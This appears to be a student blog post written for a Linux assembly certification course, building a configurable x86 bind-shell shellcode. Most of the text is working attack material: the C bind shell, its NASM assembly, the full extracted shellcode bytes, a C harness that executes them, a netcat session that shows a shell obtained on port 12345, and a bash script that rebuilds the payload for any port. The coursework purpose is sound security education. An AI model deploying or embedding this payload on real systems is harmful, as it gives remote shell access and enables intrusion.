What it is about:
• Create a Shell_Bind_TCP shellcode
– Binds to a port
– Execs Shell on incoming connection
• Port number should be easily configurable
Here is the C code for the bind shell, I used it for modelling the assembler code:
bindshellds.c
#include <unistd.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int main(void) { int sockfd, new_sockfd; struct sockaddr_in host_addr, client_addr; socklen_t sin_size; int yes=1; sockfd = socket(PF_INET, SOCK_STREAM, 0); host_addr.sin_family = AF_INET; host_addr.sin_port = htons(12345); host_addr.sin_addr.s_addr = INADDR_ANY; memset(&(host_addr.sin_zero), '', 8); bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)); listen(sockfd, 4); sin_size = sizeof(struct sockaddr_in); new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); dup2(new_sockfd,0); dup2(new_sockfd,1); dup2(new_sockfd,2); execve("/bin/sh", NULL, NULL); }
Here is the assembler code:
bindshellds.nasm
global _start section .text _start: ; socket push BYTE 0x66 ; socketcall (syscall 102) pop eax xor ebx, ebx inc ebx ; 1 = SYS_SOCKET = socket() xor edx, edx push edx push BYTE 0x1 push BYTE 0x2 mov ecx, esp int 0x80 mov esi, eax ; bind push BYTE 0x66 ; socketcall (syscall 102) pop eax inc ebx ; ebx = 2 = SYS_BIND = bind() push edx push WORD 0x3930 ; Port 12345 push WORD bx mov ecx, esp push BYTE 16 push ecx push esi mov ecx, esp int 0x80 ; listen mov BYTE al, 0x66 ; socketcall (syscall 102) inc ebx inc ebx ; ebx = 4 = SYS_LISTEN = listen() push ebx push esi mov ecx, esp int 0x80 ; accept mov BYTE al, 0x66 ; socketcall (syscall 102) inc ebx ; ebx = 5 = SYS_ACCEPT push edx push edx push esi mov ecx, esp int 0x80 ; dup2 mov ebx, eax push BYTE 0x2 pop ecx mov BYTE al, 0x3F ; dup2 syscall 63 int 0x80 dec ecx mov BYTE al, 0x3F int 0x80 dec ecx mov BYTE al, 0x3F int 0x80 ; execve mov BYTE al, 11 push edx push 0x68732f2f push 0x6e69622f mov ebx, esp push edx mov edx, esp push ebx mov ecx, esp int 0x80
The program is compiled and the shellcode is extracted as shown in the course:
$ nasm -f elf32 bindshellds.nasm $ ld bindshellds.o $ objdump -d ./a.out|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
The resulting shellcode:
"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"
For a proof concept, the following C programm can be used:
shellcode_bindshellds.c
#include<stdio.h> #include<string.h> unsigned char code[] = \ "\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
It is working:
1.) Run the executable
$ a.out Shellcode Length: 102
2.) In another window use netcat for testing the bind shell
$ nc localhost 12345 pwd /home/dax/slae/cert/a1 exit
For using another port the following script can be used, usage mkbindshell.sh port:
mkbindshell.sh
#!/bin/bash len=`echo "obase=16; $1"|bc | wc -c` adr="" if [ "$len" == "2" ] then tmp=`echo "obase=16; $1"|bc` adr=`echo "\\x0$tmp"` fi if [ "$len" == "3" ] then tmp=`echo "obase=16; $1"|bc` adr=`echo "\\x$tmp"` fi if [ "$len" == "4" ] then tmp=`echo "obase=16; $1"|bc` tmp1=`echo "$tmp"|cut -c1-1` tmp2=`echo "$tmp"|cut -c2-3` adr=`echo "\\x0$tmp1\\x$tmp2"` fi if [ "$len" == "5" ] then tmp=`echo "obase=16; $1"|bc` tmp1=`echo "$tmp"|cut -c1-2` tmp2=`echo "$tmp"|cut -c3-4` adr=`echo "\\x$tmp1\\x$tmp2"` fi echo "port as hex: $adr" echo "shellcode:" echo "\"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68$adr\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80\""
Get the code.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-342
Leave a Reply